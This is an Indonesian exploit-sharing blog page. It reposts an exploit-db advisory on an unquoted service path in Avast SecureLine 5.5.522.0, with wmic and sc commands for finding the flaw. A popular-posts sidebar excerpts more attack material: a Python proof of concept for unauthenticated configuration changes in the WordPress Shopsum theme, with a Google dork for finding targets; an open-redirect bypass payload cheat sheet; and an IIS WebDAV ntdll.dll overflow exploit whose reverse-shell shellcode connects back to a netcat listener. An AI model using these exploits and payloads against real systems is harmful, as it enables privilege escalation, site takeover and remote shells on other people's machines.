Langsung ke konten utama

AVAST SecureLine 5.5.522.0 - 'SecureLine' Unquoted Service Path

Gambar
Oleh 
# Exploit Title: AVAST SecureLine 5.5.522.0 - 'SecureLine' Unquoted Service Path
# Discovery by: Roberto Piña
# Discovery Date: 2020-03-24
# Vendor Homepage:https://www.avast.com/
# Software Link :https://www.avast.com/es-mx/download-thank-you.php?product=SLN&locale=es-mx
# Tested Version: 5.5.522.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 8.1 Single Language x32 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | f
indstr /i /v "C:\Windows\\" | findstr /i "Avast SecureLine" | findstr /i /v """
Avast SecureLine
         SecureLine                       C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe                                         
                                                       Auto

C:\>sc qc SecureLine
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: SecureLine
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Avast SecureLine
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem


# Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path 
# undetected by the OS or other security applications where it could potentially be executed during 
# application startup or reboot. If successful, the local user's code would execute with the elevated 
# privileges of the application.
Preference : https://www.exploit-db.com/exploits/48249
Label:

Komentar

Posting Komentar

Postingan populer dari blog ini

Wordpress Premium Themes Shopsum Unauthenticated Configuration

Oleh
# Exploit  Title : Wordpress Premium Themes Shopsum Unauthenticated Configuration Access Vulnerability # Author  : Mr.Buckethead # Date  : November 13th, 2014 # Category  : Web Applications # Vulnerability  : Unauthenticated Configuration Access # Tested  On : Windows 7 32-bit, Backbox # Dork  : inurl:/wp-content/themes/shopsum/hades_framework/ or use ur imagination #Exploit : http://localhost/path/wp-content/themes/shopsum/hades_framework/option_panel/ajax.php # POC  : Save File As Python (.py) = import httplib, urllib # target  site site = "victim" #<--- no http:// or https:// # path  to ajax.php url = "t/wp-content/themes/shopsum/hades_framework/option_panel/ajax.php" def ChangeOption(site, url, option_name, option_value): params = urllib.urlencode({'action': 'save', 'values[0][name]': option_name, 'values[0][value]': option_value}) headers = {"Content-type": "application/x-www-form-urlencoded", "Accept...
Posting Komentar
Baca selengkapnya

Open Redirect Bypass Cheat Sheet

Oleh
Open Redirect Bypass Cheat Sheet   Yoo Cherry     August 3, 2019     Cheat Sheet ,  Web Hacking     No Comments Open Redirect Bypass Cheat Sheet.  Open redirect  adalah celah yang memungkinkan attacker untuk mengarahkan pengunjung dari situs terpercaya ke situs malware atau phising tanpa autentifikasi dari admin situs. Bergantung pada arsitektur situs web yang rentan, pengalihan bisa terjadi setelah tindakan tertentu, seperti login, dan terkadang hal itu bisa terjadi seketika saat memuat sebuah halaman. Open Redirect Bypass Cheat Sheet http://3H6k7lIAiqjfNeN@[::ffff:216.58.214.206] http://XY>.7d8T\205pZM@[::ffff:216.58.214.206] http://0xd8.072.54990 http://www.whitelisteddomain.tld@0xd8.072.54990 http://3H6k7lIAiqjfNeN@0xd8.072.54990 http://XY>.7d8T\205pZM@0xd8.072.54990 http://0xd8.3856078 http://www.whitelisteddomain.tld@0xd8.3856078 http://3H6k7lIAiqjfNeN@0xd8.3856078 http://XY>.7d8T\205pZM@0xd8.3856078 ...
Posting Komentar
Baca selengkapnya

Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow

Oleh
/*******************************************************************/ /* [Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt] */ /* --------------------------------------------------------------- */ /* this is the exploit for ntdll.dll through WebDAV. */ /* run a netcat ex: nc -L -vv -p 666 */ /* wb server.com your_ip 666 0 */ /* the shellcode is a reverse remote shell */ /* you need to pad a bit.. the best way I think is launching */ /* the exploit with pad = 0 and after that, the server will be */ /* down for a couple of seconds, now retry with pad at 1 */ /* and so on..pad 2.. pad 3.. if you haven't the shell after */ /* something like pad at 10 I think you better to restart from */ /* pad at 0. On my local IIS the pad was at 1 (0x00110011) but */ /* on all the others servers it was at 2,3,4, etc..sometimes */ /* you can have the force with you, and get the shell in 1 try */ /* sometimes you need to pad more than 10 times ;) */ /* the shellcode was coded by m...
Posting Komentar
Baca selengkapnya